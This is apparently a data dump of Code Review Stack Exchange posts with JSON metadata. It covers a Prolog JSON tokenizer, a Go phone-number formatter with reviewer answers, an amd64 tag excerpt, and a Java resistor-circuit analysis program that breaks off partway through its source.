% value = false / null / true / object / array / number / string
value(l("false")) --> blanks, [102, 97, 108, 115, 101], blanks.
value(l("null")) --> blanks, [110, 117, 108, 108], blanks.
value(l("true")) --> blanks, [116, 114, 117, 101], blanks.
% object = "{" [ member *( "," member ) ] "}"
value(o(Object)) --> blanks, [123], blanks, members(Object), blanks, [125], blanks.
% array = "[" [ value *( "," value ) ] "]"
value(a(Array)) --> blanks, [91], blanks, values(Array), blanks, [93], blanks.
% number = [ "-" ] int [ frac ] [ exp ]
value(n(Number)) --> number(Number).
% string = '"' *char '"'
value(s(String)) --> blanks, [34], chars(Codes), { string_codes(String, Codes) }. % needs a different pattern to handle escaping
% a string has several chars terminated by an unescaped double quote
chars([92,34|Codes]) --> [92,34], chars(Codes). % skip \"
chars([Code|Codes]) --> [Code], chars(Codes), { Code \= 34 }.
chars([]) --> [34].
% member = string ":" value abreviated to memb to avoid collision with prolog's builtin clause member
memb(m(s(String), Value)) --> blanks, value(s(String)), blanks, [58], blanks, value(Value), blanks.
% an object can have several comma separated members
members([Member|Members]) --> blanks, memb(Member), blanks, [44], blanks, members(Members).
members([Member]) --> blanks, memb(Member), blanks.
members([]) --> [].
% an array can have several comma separated values
values([Value|Values]) --> blanks, value(Value), blanks, [44], blanks, values(Values).
values([Value]) --> blanks, value(Value), blanks.
values([]) --> [].
tokenize(Filename, Tokens) :-
phrase_from_file(value(Tokens), Filename), !.
</code></pre>
<p>I'd appreciate some tips on how to improve this from the gurus in this group.</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T13:07:16.997",
"Id": "212752",
"Score": "3",
"Tags": [
"prolog",
"lexical-analysis"
],
"Title": "Writing a tokenizer in SWI-Prolog"
} | 212752 |
<p>I am a java developer and I am trying to learn Go.
I tried to make a simple code that take numbers from a <code>.txt</code> file and make print them in a prettier format.
That is:</p>
<pre><code>0613228745 -> 06 13 22 87 45
06.13.22.87.45 -> 06 13 22 87 45
06-13-22-87-45 -> 06 13 22 87 45
06 13 228 745 -> 06 13 22 87 45
0 613 228 745 -> 06 13 22 87 45
</code></pre>
<p>Can you review, give me some advices about my code ?
Here it is:</p>
<pre class="lang-golang prettyprint-override"><code>package main
import (
"bufio"
"fmt"
"os"
"unicode"
)
func check(e error) {
if e != nil {
panic(e)
}
}
func main() {
file, err := os.Open("./phonenumbers.txt")
check(err)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
basicPhoneNumberArray, prettyPhoneNumber := make([]rune, 0), ""
// get only digit numbers
for _, r := range []rune(scanner.Text()) {
if unicode.IsDigit(r) {
basicPhoneNumberArray = append(basicPhoneNumberArray, r)
}
}
// put spaces every two digits
for i, r := range basicPhoneNumberArray {
prettyPhoneNumber += string(r)
if i%2 != 0 && i != len(basicPhoneNumberArray)-1 { // no space at the end
prettyPhoneNumber += " "
}
}
fmt.Println(prettyPhoneNumber)
}
}
</code></pre>
<p>Also I am very fond of functional programming, I think there should be a way to use some <code>filter</code> and <code>map</code> here but after few searches I didn't find a way. If you could give me some advices about that too that would be great :D.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T18:05:12.493",
"Id": "411520",
"Score": "0",
"body": "Can you be specific about what you mean by \"prettier\"? You want them all in pairs, French style? What if there are an odd number of digits?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T19:55:05.510",
"Id": "411526",
"Score": "1",
"body": "Yeah the goal is to turn them in the French style as you said: 2 digits, 1 space, etc. But I do not seek review about covering all possibilities or having the good result, it's more about my go code, is it efficient, can it be improved, am I using the right functions for the same result ? etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:12:34.593",
"Id": "411595",
"Score": "0",
"body": "Cross posted to Reddit: [Asking for review: Prettify phone numbers](https://www.reddit.com/r/golang/comments/amhtu7/asking_for_review_prettify_phone_numbers/)."
}
] | [
{
"body": "<ol>\n<li>If you don't want to handle an error, then ignore it by using the <code>_</code> symbol.<br>\nI.E. replace:\n\n<pre><code>file, err := os.Open(\"./phonenumbers.txt\")\ncheck(err)\n</code></pre>\n\nwith:\n\n<pre><code>file, _ := os.Open(\"./phonenumbers.txt\")\n</code></pre></li>\n<li>Move the entire scanning logic into a separate function (you did write you are fond of <em>functional programming</em> ).<br>\n<code>func PrettifyNumber(original string) string</code></li>\n<li><p>You could use the <code>strings.Fields</code> to filter out any non numeric character. </p>\n\n<pre><code>func IsNotADigit(r rune) bool {\n return !unicode.IsDigit(r)\n}\n\nfunc PrettifyNumber(original string) string {\n return strings.Join(strings.FieldsFunc(original, IsNotADigit), \" \")\n}\n</code></pre></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T16:56:57.033",
"Id": "219195",
"ParentId": "212754",
"Score": "1"
}
},
{
"body": "<p>Your variable names are way too long. If you extract the pretty-printing into a function called <code>FormatFrenchPhone</code>, the variables can be much shorter:</p>\n\n<ul>\n<li><code>basic</code> — doesn't convey any meaning, just remove it</li>\n<li><code>phone</code> — that's clear from the context, just remove it</li>\n<li><code>number</code> – this part provides useful information</li>\n<li><code>array</code> — that's clear from the variable declaration already</li>\n</ul>\n\n<p>This leaves you with the name <code>number</code>, which i don't like because it's ambiguous in English. It can either mean the mathematical concept or the identification of something. (An employee number does not need to be numeric at all, for example.) I would instead name that variable <code>digits</code>. The plural s already says it's a slice or an array or a collection.</p>\n\n<p>The other variable should be called <code>pretty</code>. It should be declared as <code>var pretty strings.Builder</code> if you want your code to look good, and <code>pretty := make([]rune, len(digits) + (len(digits)+1)/2)</code> if you want to avoid unnecessary memory allocation at every cost.</p>\n\n<p>Since you come from a Java background, using <code>strings.Builder</code> should feel familiar.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-26T17:13:32.313",
"Id": "219197",
"ParentId": "212754",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T13:53:02.587",
"Id": "212754",
"Score": "7",
"Tags": [
"formatting",
"go"
],
"Title": "Prettify phone numbers"
} | 212754 |
amd64 (also "x86-64") is the 64-bit version of the x86 instruction set. | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T15:15:17.030",
"Id": "212758",
"Score": "0",
"Tags": null,
"Title": null
} | 212758 |
<p>I am somewhat new to programming. I've written a program that takes user input accepting voltages and resistors, and calculating total resistance/current/voltage in the circuit. I am looking for ways to improve my coding, whether it be improving its time/space complexity or making better comments to make it more maintainable and scalable (as I have plans to expand it to accept more circuit component types) or implementing more efficient algorithms. You can find the files on <a href="https://github.com/M-Sin/CircuitBuilder" rel="nofollow noreferrer">GitHub</a>.</p>
<p>There are some additional files in the GitHub (pictures/README) that also help to explain the program.</p>
<p>Circuit.java</p>
<pre><code>package circuit;
import java.util.ArrayList;
/**
* The circuit to which components can be added to.
*
* An object of this class exists in the program as a singleton object.
*
* It holds the ArrayList of components in the circuit.
*
*
* @author Michael Sinclair.
* @version 2.302
* @since 27 January 2019.
*/
public class Circuit {
/*Creates only one instance of a circuit.*/
private static Circuit instance = null;
protected static Circuit getInstance() {
if (instance == null) {
instance = new Circuit();
}
return instance;
}
/**Instance variable list to contain components.*/
private ArrayList<Component> components;
/**Private constructor ensures only one instance of circuit can be created.*/
private Circuit() {
this.components = new ArrayList<>();
}
/*Methods.*/
/** get method to get list of components
* @param none
* @return ArrayList<Component> components*/
protected ArrayList<Component> getComponents(){
return this.components;
}
/**Add component to circuit
* @param Component c.*/
protected void addComponent(Component c){
this.components.add(c);
}
/**Return information of all components in circuit
* @return String.*/
@Override
public String toString(){
String str="";
/*For each object in array.*/
for(Object obj : components){
/*If it is a resistor.*/
if (obj.getClass() == Resistor.class){
/*Downcast to original object type to use class toString() method.*/
str+= ("Resistor: "+(Resistor)obj).toString()+"\n";
}
/*Another form of testing object class, if it is a voltage.*/
if (obj instanceof Voltage){
/*Downcast to original object type to use class toString() method.*/
str+= ("Voltage: "+(Voltage)obj).toString()+"\n";
}
}
/*Remove last \n produced from the above iteration.*/
str = str.substring(0,str.length()-1);
return str;
}
}
</code></pre>
<p>CircuitAnalysis.java</p>
<pre><code>package circuit;
import java.util.ArrayList;
import java.util.Collections;
/** Assistant class to calculate circuit characteristics.
*
* Input requires reference ground node and the components in the circuit.
*
* I decided to compartmentalize this part of the program in a separate class to simplify the coding and maintenance, but when considering resource management it would likely just be methods within UserMain.
*
* The resistor reduction algorithm used by this class is to first reduce resistors that are in parallel between the same two nodes to a single equivalent resistor between those nodes, then to reduce any serial resistors
* to a single equivalent resistor between the two outer-nodes which will then create more parallel resistors between the same two nodes, and so on.
*
*
* @author Michael Sinclair.
* @version 2.304
* @since 29 January 2019.
*/
public class CircuitAnalysis {
/* instance variables */
private ArrayList<Node> nodeList;
private ArrayList<Component> components;
private int ground;
/* to calculate characteristics */
private double totalV;
private double totalR;
private int voltageSources;
/* to rewind resistor Id count for user to continue after calculations */
private int countResistors;
/** Only constructor for this class
*
* @param int ground
* @param ArrayList<Component> comps
* @param ArrayList<Node> nodes
*/
protected CircuitAnalysis(int ground, ArrayList<Component> comps, ArrayList<Node> nodes) {
/* initialize variables */
this.ground = ground;
this.totalR = 0.0;
this.totalV = 0.0;
this.voltageSources = 0;
countResistors = 0;
/* copy the ArrayLists so that the User can continue operations after calculation, and to enable node specific calculations based on original list */
this.components = new ArrayList<>(comps);
/* have to create new Node objects to avoid altering the input list - basically dereferencing the node objects from the input and creating clone objects of them with t he same id */
this.nodeList = new ArrayList<>();
for(Node node:nodes) {
nodeList.add(new Node(node.getId()));
}
/* now point copied components to the copied nodeList, and attach the copied components to the copied nodes */
for (Component comp:this.components) {
for(Node node:this.nodeList) {
/* if the component points to this iteration's node */
if(comp.getNode1().getId()==node.getId()) {
/* point it to the new copy object in this class nodeList */
comp.setNode1(node);
/* and connect it to the attached copy node */
node.connect(comp);
}
/* same for second node */
if(comp.getNode2().getId()==node.getId()) {
comp.setNode2(node);
node.connect(comp);
}
}
}
/* sort the resistor nodes of the copies, maintain the ordering for the original list that the user input for their resistors */
/* sort the ArrayList of components by node 1 and node 2 (smaller of both first) - note that by construction, voltages will always have ordered nodes */
for (int j = 0; j<components.size();j++) {
for (int i = 0; i<components.size()-1;i++) {
if (components.get(i).compare(components.get(i+1))>0) {
/* if component nodes are disordered, swap them */
Collections.swap(components, i, i+1);
}
}
}
}
/* methods */
/** No parameters or returns, automates circuit measurements by calling analyzeVoltage(),analyzeResistance(),printCharactersitics() and reduces resistor count for resistors created for circuit calculations */
protected void analyzeCircuit() {
/* find total voltage and count voltage sources */
this.analyzeVoltage();
/* find total resistance of the circuit */
this.analyzeResistance();
System.out.println("");
/* print out calculated circuit characteristics */
this.printCharacteristics();
/* rewind resistor count for user to continue altering circuit */
/* if for some (unknown) reason, the user did not enter any resistors do not alter the resistor count */
if(countResistors == 0) {
return;
}
/* for each resistor added, lower the global resistor id number to sync the number back with the user's circuit */
for(int i=0;i<countResistors;i++) {
Resistor.resnum--;
}
}
/**No parameters or returns, finds total voltage in the circuit - note that this program can currently only handle directly serial voltage (connected in series to each other) */
protected void analyzeVoltage() {
/* for each component */
for (int i = 0; i<components.size();i++) {
/* if it is a voltage */
if (components.get(i).getClass() == Voltage.class) {
/* get the voltage */
this.totalV+=((Voltage)(components.get(i))).getV();
/* count voltage sources */
this.voltageSources++;
}
}
}
/**No parameters or returns, finds total resistance in the circuit */
protected void analyzeResistance() {
/* while more than 1 resistor exists */
while(components.size()>this.voltageSources+1) {
/* reduce parallel resistors across the same nodes to one resistor */
this.analyzeParallelSameNode();
/* reduce serial resistors individually in the circuit */
this.analyzeSeriesIndividually();
}
/* now that there is only one resistor in the circuit iterate through the circuit */
for (int i = 0; i<components.size();i++) {
/* if it is a resistor */
if (components.get(i) instanceof Resistor) {
/* get the resistance - note this only executes once */
this.totalR+=((Resistor)components.get(i)).getR();
}
}
}
/**No parameters or returns, reduces same-node parallel resistors to a single equivalent resistor */
protected void analyzeParallelSameNode() {
ArrayList<Component> temp = new ArrayList<>();
ArrayList<Component> toRemove = new ArrayList<>();
ArrayList<Component> toConnect = new ArrayList<>();
/* for each node */
/* TODO explore possibility that only one for loop is needed for the nodeList - and simply compare second node */
for (int n = 0; n<nodeList.size();n++) {
/* find components connected to each other node */
for (int m = 0; m<nodeList.size();m++) {
/* components cannot have the same node on both sides & don't want to do the same two nodes twice */
if (n!=m && n<m) {
/* for each component */
for (int k = 0;k<components.size();k++) {
if(components.get(k).getNode1().getId() == n && components.get(k).getNode2().getId() == m) {
/* if it is a resistor */
if (components.get(k).getClass() == Resistor.class) {
/* if it is between the two nodes */
if(components.get(k).getNode1().getId() == n && components.get(k).getNode2().getId() == m) {
/* add it to temporary list */
temp.add(components.get(k));
}
}
}
}
/* if a parallel connection was found between node n and m*/
if(temp.size()>1) {
/* create equivalent parallel resistor */
Resistor equivalent = new Resistor(this.parallelResistors(temp),this.findNode(n),this.findNode(m));
/* for rewinding resistor id */
this.countResistors++;
/* queue it for connection */
toConnect.add(equivalent);
/* queue resistors that need to be removed */
for(Component remove:temp) {
toRemove.add(remove);
}
}
/* clear the list for future calculations */
temp.clear();
}
}
}
/* remove resistors to be replaced by single equivalent resistor */
/* if there are items to be removed */
if(toRemove.size()>0) {
/* for each component to be removed */
for (Component remove:toRemove) {
/* for each component */
for(int i = 0; i <components.size();i++) {
/* if the component is a resistor and it is in the list of resistors to be removed */
if(components.get(i).getId()==remove.getId()&&components.get(i) instanceof Resistor) {
/* remove it from components */
remove.getNode1().disconnect(remove);
remove.getNode2().disconnect(remove);
components.remove(i);
/* need to consider that components has shrunk by 1 */
i--;
}
}
}
}
/* attach equivalent resistors */
for(Component comp:toConnect) {
components.add(comp);
comp.getNode1().connect(comp);
comp.getNode2().connect(comp);
}
}
/* No parameters or returns, reduces any two serially connected resistors individually */
protected void analyzeSeriesIndividually() {
ArrayList<Component> toAdd = new ArrayList<>();
ArrayList<Component> toRemove = new ArrayList<>();
Node firstNode = null;
Node secondNode = null;
/* can only perform this operation a single time before calling it again - resulted in errors created floating resistors that could not be reduced further otherwise */
boolean doOnce = false;
/* for each node */
for(Node node:nodeList) {
/* if there are 2 attachments that are both resistors */
if (node.getAttachments().size()==2 && node.getAttachments().get(0) instanceof Resistor && node.getAttachments().get(1) instanceof Resistor && !doOnce) {
/* find first and second node by Id - one must have a first node prior to the current node being tested and one must have a node after */
if(node.getAttachments().get(0).getNode1().getId()<node.getAttachments().get(1).getNode1().getId()) {
firstNode = node.getAttachments().get(0).getNode1();
secondNode = node.getAttachments().get(1).getNode2();
}
else {
firstNode = node.getAttachments().get(1).getNode1();
secondNode = node.getAttachments().get(0).getNode2();
}
/* if not already queued for removal */
if(!toRemove.contains(node.getAttachments().get(0))) {
if(!toRemove.contains(node.getAttachments().get(1))) {
toRemove.add(node.getAttachments().get(0));
toRemove.add(node.getAttachments().get(1));
toAdd.add(new Resistor(((Resistor)node.getAttachments().get(0)).getR()+((Resistor)node.getAttachments().get(1)).getR(),firstNode,secondNode));
/* for rewinding resistor id */
this.countResistors++;
}
}
/* prevent program from combining more than two serial resistors at the same time */
doOnce = true;
}
}
/* combine serial resistors individually - first remove them from the circuit */
for(Component remove:toRemove) {
remove.getNode1().disconnect(remove);
remove.getNode2().disconnect(remove);
components.remove(remove);
}
/* then add the equivalent resistors */
for(Component addR:toAdd) {
addR.getNode1().connect(addR);
addR.getNode2().connect(addR);
components.add(addR);
}
}
/** Find ArrayList index - note ArrayList has built in remove with object parameter but I wanted to use this instead as I was encountering problems with the built in method
* @param ArrayList<Component> findList
* @param Component find
* @return int */
protected int findIndex(ArrayList<Component> findList, Component find) {
int i;
/* iterate through ArrayList until object is found */
for (i = 0;i<findList.size();i++) {
if(findList.contains(find)) {
break;
}
}
return i;
}
/** Determine if resistor already queued for removal, returns true to enable above loop if component is not already queued for removal
* @param Component resistor
* @param ArrayList<Component> toRemove
* @return boolean*/
protected boolean queuedRemoval(Component resistor, ArrayList<Component> toRemove){
/* for each component queued for removal */
for(Component component:toRemove) {
/* if the Id matches any resistor Id in the removal list, and for good measure check that it is a resistor */
if(component.getId()==resistor.getId() && component.getClass()==Resistor.class) {
/* return false to disable the above loop */
return false;
}
}
/* else return true */
return true;
}
/** Find node based on id
* @param int id
* @return Node*/
protected Node findNode(int id) {
/* value to store index */
int i = 0;
/* for each node */
for(Node node:nodeList) {
/* if it does not equal the desired node */
if(node.getId()!=id) {
/* increase the index */
i++;
}
/* if it does */
else {
/* stop searching */
break;
}
}
return nodeList.get(i);
}
/** Calculate parallel resistance from a list of resistors
* @param ArrayList<Component> resistors
* @return double*/
protected double parallelResistors(ArrayList<Component> resistors) {
double parallelR = 0.0;
if(resistors.size()==0) {
throw new IllegalArgumentException("Must input at least one resistor.");
}
for (Component res:resistors) {
/* quick check to make sure only resistances get added to the total */
if(res.getClass()==Resistor.class) {
parallelR+=1/(((Resistor)res).getR());
}
}
return 1/parallelR;
}
/**No parameters or returns, Print circuit Characteristics */
protected void printCharacteristics() {
System.out.println("Ground voltage is located at Node "+this.ground+".");
System.out.println("Total voltage in circuit is: "+this.totalV+ " Volts.");
System.out.println("Total resistance in circuit is: "+this.totalR+" Ohms.");
System.out.println("Total current is: "+this.totalV/this.totalR+" Amps.");
}
/* get methods for testing private instance variables */
/** get nodeList, no parameters
* @return ArrayList<Node>
*/
public ArrayList<Node> getNodeList(){
return this.nodeList;
}
/** gets the list of components, no parameters
*
* @return ArrayList<Component>
*/
public ArrayList<Component> getComponents(){
return this.components;
}
/** get voltage, no parameters
* @return double
*/
public double getV() {
return this.totalV;
}
/** gets the resistance of the circuit, no parameters
*
* @return double
*/
public double getR() {
return this.totalR;
}
/** gets the ground node id
*
* @return int
*/
public int getG() {
return this.ground;
}
/** METHOD NO LONGER IN USE - changed algorithm for solving circuit problem - storing it in case it is useful in future */
/* Reduce multiple serial resistors to a single equivalent resistor */
protected void analyzeSerialResistances() {
ArrayList<Component> temp = new ArrayList<>();
ArrayList<Component> toRemove = new ArrayList<>();
int nodalCase = 0;
/* for each node */
for(Node node1:nodeList) {
/* compare to other nodes */
for(Node node2:nodeList) {
/* if not the same node and looking forwards */
if(node1.getId()<node2.getId()) {
/* if both nodes only have 2 attachments */
if(node1.getAttachments().size()==2 && node2.getAttachments().size()==2) {
/* iterate through the attachments that are resistors */
for(int i = 0; i<2; i++) {
for(int j = 0; j<2; j++) {
/* if the components are not already queued for removal */
if(this.queuedRemoval(node1.getAttachments().get(i),toRemove) && this.queuedRemoval(node2.getAttachments().get((j+1)%2),toRemove)) {
/* if a common resistor is found between the nodes and both nodes only have 2 attachments, then the common resistor must be in series with the second nodes attached item */
if (node1.getAttachments().get(i).getId()==node2.getAttachments().get(j).getId() && node1.getAttachments().get(i) instanceof Resistor) {
/* if the second node's other attached item is also a resistor */
if(node2.getAttachments().get((j+1)%2) instanceof Resistor) {
/* queue them for equivalence calculation */
temp.add(node1.getAttachments().get(i));
temp.add(node2.getAttachments().get((j+1)%2));
/* find the common node */
if(temp.get(0).getNode1().getId() == temp.get(1).getNode1().getId()) {
/* queue equivalent resistor nodes to be the non-common nodes */
nodalCase = 1;
}
if(temp.get(0).getNode1().getId() == temp.get(1).getNode2().getId()) {
/* queue equivalent resistor nodes to be the non-common nodes */
nodalCase = 2;
}
if(temp.get(0).getNode2().getId() == temp.get(1).getNode1().getId()) {
/* queue equivalent resistor nodes to be the non-common nodes */
nodalCase = 3;
}
/* note chose to not use just plain else to verify the last condition is true, even though it is the only possible combination of common nodes left */
if(temp.get(0).getNode2().getId() == temp.get(1).getNode2().getId()) {
nodalCase = 4;
}
}
}
}
}
}
/* if series resistors were found */
if(temp.size()==2) {
/* queue resistors for removal */
toRemove.add(temp.get(0));
toRemove.add(temp.get(1));
Resistor equivalent = null;
/* queue equivalent resistor to be added */
if(nodalCase == 1) {
/* first nodal case - shared 1st/1st node so connect equivalent resistor between both 2nd nodes */
equivalent = new Resistor(((Resistor)temp.get(0)).getR()+((Resistor)temp.get(1)).getR(),temp.get(0).getNode2(),temp.get(1).getNode2());
}
if(nodalCase == 2) {
/* second nodal case - shared 1st/2nd node so connect equivalent resistor between 2nd/1st nodes */
equivalent = new Resistor(((Resistor)temp.get(0)).getR()+((Resistor)temp.get(1)).getR(),temp.get(0).getNode2(),temp.get(1).getNode1());
}
if(nodalCase == 3) {
/* third nodal case - shared 2nd/1st node so connect equivalent resistor between 1st/2nd nodes */
equivalent = new Resistor(((Resistor)temp.get(0)).getR()+((Resistor)temp.get(1)).getR(),temp.get(0).getNode1(),temp.get(1).getNode2());
}
/* chose not to use simple else for reason stated above */
if(nodalCase == 4) {
/* last nodal case - shared 2nd/2nd node so connect equivalent resistor between both 1st nodes */
equivalent = new Resistor(((Resistor)temp.get(0)).getR()+((Resistor)temp.get(1)).getR(),temp.get(0).getNode1(),temp.get(1).getNode1());
}
components.add(equivalent);
equivalent.getNode1().connect(equivalent);
equivalent.getNode2().connect(equivalent);
temp.clear();
}
}
}
}
}
/* remove resistors to be replaced by single equivalent resistor */
/* if there are items to be removed */
if(toRemove.size()>0) {
/* for each component to be removed */
for (Component remove:toRemove) {
/* for each component */
for(int i = 0; i <components.size();i++) {
/* if the component is a resistor and it is in the list of resistors to be removed */
if(components.get(i).getId()==remove.getId()&&components.get(i) instanceof Resistor) {
/* remove it from components */
remove.getNode1().disconnect(remove);
remove.getNode2().disconnect(remove);
components.remove(i);
/* need to consider that components has shrunk by 1 */
i--;
}
}
}
}
}
}
</code></pre>
<p>Component.java</p>
<pre><code>package circuit;
/**
* An abstract class to quantify common elements to components within the circuit.
*
* Mainly handles component Id features.
*
*
* @author Michael Sinclair.
* @version 2.302
* @since 27 January 2019.
*/
public abstract class Component {
/*Instance variables.*/
protected Node nodal1;
protected Node nodal2;
protected int id;
/** Superclass constructor
* @param Node node1
* @param Node node2
*/
protected Component(Node node1, Node node2){
this.nodal1 = node1;
this.nodal2 = node2;
}
/*Methods */
/*get/set methods*/
/** get first node, no parameters
*
* @return Node nodal1
*/
protected Node getNode1() {
return this.nodal1;
}
/** get second node, no parameters
*
* @return Node nodal2
*/
protected Node getNode2() {
return this.nodal2;
}
/** set first node, no return
*
* @param Node node1
*/
protected void setNode1(Node node1) {
this.nodal1 = node1;
}
/** set second node, no return
*
* @param Node node2
*/
protected void setNode2(Node node2) {
this.nodal2 = node2;
}
/** get component id, no parameters
*
* @return int id
*/
protected int getId() {
return this.id;
}
/** set component id, no return
*
* @param int i
*/
protected void setId(int i) {
this.id = i;
}
/** method for testing if connected through only 1 node for use in nodal analysis , returns true if components are connected through the first node and not the second
*
* @param Component other
* @return boolean
* */
protected boolean testNode(Component other) {
if (this.nodal1 == other.nodal1) {
if (this.nodal2 != other.nodal1) {
return true;
}
}
return false;
}
/**Return list of nodes connected to voltage source, no parameters
* @return Node[] list.
* */
protected Node[] getNodes(){
return new Node[] {this.nodal1 , this.nodal2};
}
/** define equals method, returns true if Ids are the same otherwise false
* @param Component other
* @return boolean
* */
protected boolean equals(Component other) {
if (this.getId() == other.getId()) {
return true;
}
else return false;
}
/** define compare method for sorting
* if the first node Id is smaller than the other first node, method returns a negative number and vice versa
* if the first node Id is the same, and the second node is smaller than the other second node, method returns a negative number and vice versa
* if both nodes are equal, method returns 0
* @param Component other
* @return int
* */
protected int compare(Component other) {
if (this.getNode1().getId() == other.getNode1().getId()) {
return this.getNode2().getId()-other.getNode2().getId();
}
else {
return this.getNode1().getId()-other.getNode1().getId();
}
}
/** make components override toString()
* @return String
*/
@Override
public abstract String toString();
/** desire a toString that displays different information
* @return String
* */
public abstract String toStringFinal();
}
</code></pre>
<p>Node.java</p>
<pre><code>package circuit;
import java.util.ArrayList;
/**
* A node class, to connect circuit components.
*
* Contains an id that describes the node, as well as the voltage at the node (to be added), the current leaving the node (to be added) and an array list of components attached to the node.
*
*
* @author Michael Sinclair.
* @version 2.302
* @since 27 January 2019.
*/
public class Node {
/*Instance variables*/
private int id;
private double voltageAt;
private ArrayList<Component> attachments;
private double currentLeaving;
/**Assign an id to this node.
* @param nodal_id.*/
protected Node(int nodalId) {
this.id = nodalId;
this.voltageAt = 0.0;
this.attachments = new ArrayList<>();
this.currentLeaving = 0.0;
}
/*Methods*/
/**get id, no parameters
* @return int id
* */
protected int getId(){
return this.id;
}
/** set voltage at Node, no return
* @param double volts
* */
protected void setVoltage(double volts) {
this.voltageAt = volts;
}
/** get voltage at Node, no parameters
* @return double voltageAt
* */
protected double getVoltage() {
return this.voltageAt;
}
/** set current leaving Node, no return
* @param double current
* */
protected void setCurrent(double current) {
this.currentLeaving = current;
}
/** get current leaving Node, no parameters
* @return double currentLeaving
* */
protected double getCurrent() {
return this.currentLeaving;
}
/** connection a component to this node, methods for tracking component connections, no return
* @param Component component
* */
protected void connect(Component component) {
this.attachments.add(component);
}
/** disconnect a component from this node, methods for tracking component connections, no return
*
* @param Component component
*/
protected void disconnect(Component component) {
this.attachments.remove(component);
}
/** get the list of attachments that are attached to this node, no parameters
*
* @return ArrayList<Component> attachments
*/
protected ArrayList<Component> getAttachments(){
return this.attachments;
}
/**Display node id, overrides toString(), no parameters
* @return String.*/
@Override
public String toString() {
return ""+this.id;
}
/** method for displaying specific information about this node, no parameters
*
* @return String
*/
public String toStringSpecific() {
return "Node"+this.id+" Current Leaving: "+this.currentLeaving+" Amps and Voltage at node:" + this.voltageAt+" Volts.";
}
/** method for displaying the attachments connected to this node, mainly used for debugging, no parameters, displays a string version of the list of attachments
*
* @return String
*/
public String toStringAttachments() {
String str = "Node"+this.id;
for(int i=0;i<attachments.size();i++) {
str+=" "+attachments.get(i).toString();
}
return str;
}
}
</code></pre>
<p>NodeChecker.java</p>
<pre><code>package circuit;
import java.util.ArrayList;
/** A helper class to simplify UserMain code.
*
* Evaluates whether nodes exist already as a component is added, and if not creates them within UserMain's nodeList ArrayList.
*
* Decided to compartmentalize this portion of the program to remove large duplicate code blocks and simplify UserMain.
*
* Would likely normally just make this a method within UserMain if resources and time were of concern in this program. Chose to make it a separate class to make program easier to view, for now.
*
*
* @author Michael Sinclair.
* @version 2.302
* @since 27 January 2019.
*/
public class NodeChecker {
private Node node1;
private Node node2;
private ArrayList<Node> nodeList;
/** constructor for building this class
*
* @param Node nod1
* @param Node nod2
* @param ArrayList<Node> nodeList
*/
public NodeChecker(int nod1, int nod2, ArrayList<Node> nodeList){
this.nodeList = nodeList;
/*Check that component does not have the same nodes on both ends. Note would be part of input validation*/
if (nod1 == nod2){
throw new IllegalArgumentException("Nodes must be different for a single component.");
}
this.node1 = new Node(nod1);
this.node2 = new Node(nod2);
/*If these are the first two nodes, add them.*/
if (nodeList.isEmpty()){
nodeList.add(node1);
nodeList.add(node2);
}
int flag1 = 0;
int flag2 = 0;
/*If nodes do not exist, create them.*/
for (Node node : nodeList){
if (node.getId() == node1.getId()){
/*If found set flag and break.*/
flag1 = 1;
break;
}
}
for (Node node : nodeList){
if (node.getId() == node2.getId()){
/*If found set flag and break.*/
flag2 = 1;
break;
}
}
/*If not found.*/
if (flag1 == 0){
nodeList.add(node1);
}
if (flag2 == 0){
nodeList.add(node2);
}
}
/** get first node to check, no parameters
*
* @return Node node1
*/
protected Node getCheckedNode1() {
return this.node1;
}
/** get second node to check, no parameters
*
* @return Node node2
*/
protected Node getCheckedNode2() {
return this.node2;
}
/** method to find index for node 1 or node 2, depending on whether it is called with i = 1 or i = 2 (only two values that will do anything in this method as a component can only have 2 nodes)
* @param int i
* @return index1 or index2
* */
protected int findIndex(int i) {
if (i == 1) {
int index1 = 0;
for (Node node : nodeList){
if (node.getId() == node1.getId()){
break;
}
index1++;
}
return index1;
}
else {
int index2 = 0;
for (Node node : nodeList){
if (node.getId() == node2.getId()){
break;
}
index2++;
}
return index2;
}
}
}
</code></pre>
<p>Resistor.java</p>
<pre><code>package circuit;
/**
* A resistor class with resistance that is connected to two different nodes.
*
* It contains a resistance value, a current through the resistor (to be added) which will correspond to voltage drop across the resistor.
*
* It also contains an inherited Id as well as two connected nodes from the Component class.
*
*
*
* @author Michael Sinclair.
* @version 2.303
* @since 29 January 2019.
*/
public class Resistor extends Component{
/*Instance variables.*/
private double resistance;
protected static int resnum = 1;
/* functionality will be added later */
private double current_through;
/**Constructor that checks that resistor is non-zero and non-negative, sets resistance and attaches nodes
* @param res.
* @param nod1
* @param nod2*/
protected Resistor(double res, Node nod1, Node nod2) {
super(nod1,nod2);
double threshold = 0.00001;
/*Ensure resistor is greater than 0, and not negative.*/
if (res <= threshold){
throw new IllegalArgumentException("Resistance must be greater than 0.");
}
/*Ensure the specified nodes exist for the resistor.*/
if (nod1 == null || nod2 == null){
throw new IllegalArgumentException("Nodes must both exist before attaching resistor.");
}
/*Create the resistor variables.*/
this.resistance = res;
this.setId(Resistor.resnum);
Resistor.resnum++;
this.current_through=0.0;
}
/*Methods.*/
/** get the resistance, no parameters
*
* @return double resistance
*/
protected double getR() {
return this.resistance;
}
/** functionality will be added later, sets current through this resistor, no return
* @param double i_c
* */
protected void set_current(double i_c){
this.current_through = i_c;
}
/** functionality will be added later, gets current through this resistor, no parameters
*
* @return double current_through
*/
protected double get_current(){
return this.current_through;
}
/**Return the information of the resistor
* @return String.*/
@Override
public String toString(){
return "R"+this.getId()+" "+this.getNodes()[0]+" "+this.getNodes()[1]+" "+this.resistance+" Ohms";
}
